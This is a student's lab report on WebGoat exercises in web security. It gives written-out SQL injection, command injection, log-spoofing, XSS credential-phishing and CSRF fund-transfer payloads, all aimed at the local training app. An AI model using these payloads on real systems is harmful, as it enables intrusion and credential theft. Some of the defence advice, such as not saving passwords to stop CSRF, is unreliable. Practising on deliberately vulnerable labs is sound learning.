2019-2020-2 20175204 张湲祯《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175204 张湲祯《网络对抗技术》Exp9 Web安全基础
目录
一、实验目标与内容
1.实践目标:理解常用网络攻击技术的基本原理。
- 做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
二、基础问题回答
1.SQL注入攻击原理,如何防御?
答:
- 原理:
- 它是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码(例如在用户名、密码登输入框中输入',--,#等特殊字符组合)插入,实现引号闭合、注释部分SQL语句,利用永真式绕过网页或Web应用程序的身份验证和授权实现登录、显示信息等目的。
- 防御办法:
- 可以在后台控制输入的长度或者禁止用户输入一些特定的特殊符号,例如 -- 、' 等。
- 不要使用动态SQL:避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。
- 限制数据库权限和特权:将数据库用户的功能设置为最低要求;这将限制
2.XSS攻击的原理,如何防御?
答:
- 原理:
- 攻击者利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话等各种内容。
- 防御办法:
- 在服务器端设置cookie的时候设置 http-only(只允许http或https请求读取cookie), 这样就可以防止用户通过JS获取cookie。
- 对输入和URL参数进行过滤;在输出数据之前对潜在的威胁的字符进行编码、转义(例如特殊字符:&、回车和空格)
3.CSRF攻击原理,如何防御?
答:
- 原理:
- CSRF就是冒名登录。攻击者盗用用户身份,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
- 防御办法:
- 在浏览器弹出是否保存密码时,选择不保存密码,避免产生cookie。
- 在请求地址中添加 token 并验证。
三、实验内容
1.WebGoat安装
- 下载WebGoat:在网页
https://github.com/WebGoat/WebGoat/releases/tag/7.0.1
下载webgoat-container-7.0.1-war-exec.jar
,然后输入java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat
- 命令行出现
Starting ProtocolHandler
证明开启成功
- 打开浏览器输入
http://localhost:8080/WebGoat/
,用管理员账号登录.
- 登录后即可看到左侧的课程栏:
2.SQL注入攻击
2.1命令注入(Command Injection)
- 原理:修改提交的参数,使服务器执行恶意命令
- 目标:能够在目标主机上执行任何系统命令
- 实现步骤:
- 左侧课程栏选中
Injection Flaws -> Command Injection
,右键选择Inspect Element
- 对网页源代码进行修改,找到名字为
HelpFile
的select元素,在第一项内容的后面添加"& netstat -an & ipconfig"
,修改后再次点击View
可看到端口开放情况,攻击成功!
- 左侧课程栏选中
2.2数字型SQL注入(Numeric SQL Injection)
- 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
- 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
- 实现步骤:
- 选中
Injection Flaws -> Numeric SQL Injection
,点击Go!
按钮,可查询Columbia
的天气情况。通过改变网页源码,使得在Columbia选项下可以查询到源码中所有城市的天气情况。 - 网页中间的下拉框处右键选择
Inspect Element
,找到名字为station
的select元素,在第一项101后面添加" or 1=1 "
,修改后点击Go! - 绿色对勾代表攻击成功。
- 选中
2.3日志欺骗(Log Spoofing)
- 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。
- 目标:使得日志中仅有用户名为admin的用户成功登录。
- 实现步骤:
- 选中
Injection Flaws -> Log Spoofing
在User Name
文本框中填写175204%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%oa
是换行符,可以让注入信息转行显示。
- 点击登录后,可以看到攻击成功。
- 选中
2.4字符串型注入(String SQL Injection)
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 实现步骤:
- 选中
Injection Flaws -> String SQL Injection
,输入Smith
可查询Smith的信用卡信息。 - 在
User Name
文本框中填写Smith' or 1=1--
,插入了永真式1=1
,--
注释了后面的代码,因此可以查询源码中所有用户的信用卡信息。
- 选中
2.5LAB: SQL Injection
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 实现步骤:
- 选中
Injection Flaws -> LAB: SQL Injection
,密码框中输入' or 1=1 --
试着直接登录,但显示登陆失败,可能是由于源码设置了密码的长度。
- 在密码文本框右键选择
Inspect Element
,将maxlength
改成20。 - 重新输入
' or 1=1 --
登录成功。
- 选中
2.6数据库后门(Database Backdoors)
- 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 实现步骤:
- 选中
Injection Flaws -> Database Backdoors
,文本框中输入101
可查询该用户的相关信息。 - 输入
101; update employee set salary=20175204
成功将该用户的工资变成20175204,攻击成功。
- 选中
3.XSS攻击(Cross‐Site Scripting)
3.1XSS 钓鱼(Phishing with XSS)
- 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
- 目标:
创建一个 form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 实现步骤:
- 选择
Cross‐Site Scripting
,展开页面中选择Phishing with XSS
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:受害人填写一个表格;服务器以读取脚本的形式,将收集到的信息发送给攻击者。
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 编写一个带用户名和密码输入框的表格:
- 选择
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
3.2反射型XSS攻击(Reflected XSS Attacks)
- 原理:通过使受害者执行攻击者的脚本,使攻击者获取受害者的cookie等敏感数据,进而可以窃取受害者的临时身份,进行一系列操作。
- 目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
- 实现步骤:
- 序列号文本框中输入<script>alert("I'm 20175204ZYZ,You've been attacked ");</script>
,点击购买按钮,会弹出一个对话框,说明攻击成功!
4.CSRF攻击#
4.1跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
- 目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
- 实现步骤:
- 选择
Cross‐Site Scripting
,选择Cross Site Request Forgery (CSRF)
- 查看页面右侧Parameters中的src和menu值,分别为327和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen327&menu=900&transferFunds=5000" width="1" height="1" />
- 点击生成的链接,当前页面就会下载这个消息并显示出来,攻击成功。
- 选择
4.2绕过CSRF确认(CSRF Prompt By‐Pass)
- 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。
- 目标:向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。
- 实现步骤:
- 选择
Cross‐Site Scripting
,选择CSRF Prompt By‐Pass
- 在title框中输入任意参数,message框中输入代码:
- 选择
<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。
四、实验问题及解决
- 问题1:webgoat课程项目不全。
- 解决方案:由于jdk版本问题,根据https://blog.csdn.net/weixin_44110913/article/details/104644511参考下,完成jdk1.8的安装就可以顺利进行。
五、实验体会
本次实验中没有遇到什么太困难的问题,经过搜索都有相关解决方案,感觉webgoat很好用,通过攻击类型分类进行实践攻击更直观,更容易理解相关原理。本次实验也是最后一次实验了,这么多实验下来感觉对网络安全有了进一步的认识,对相关的攻击方法有了整体了解,也越来越有兴趣,同时也提高了我对网络安全的重视。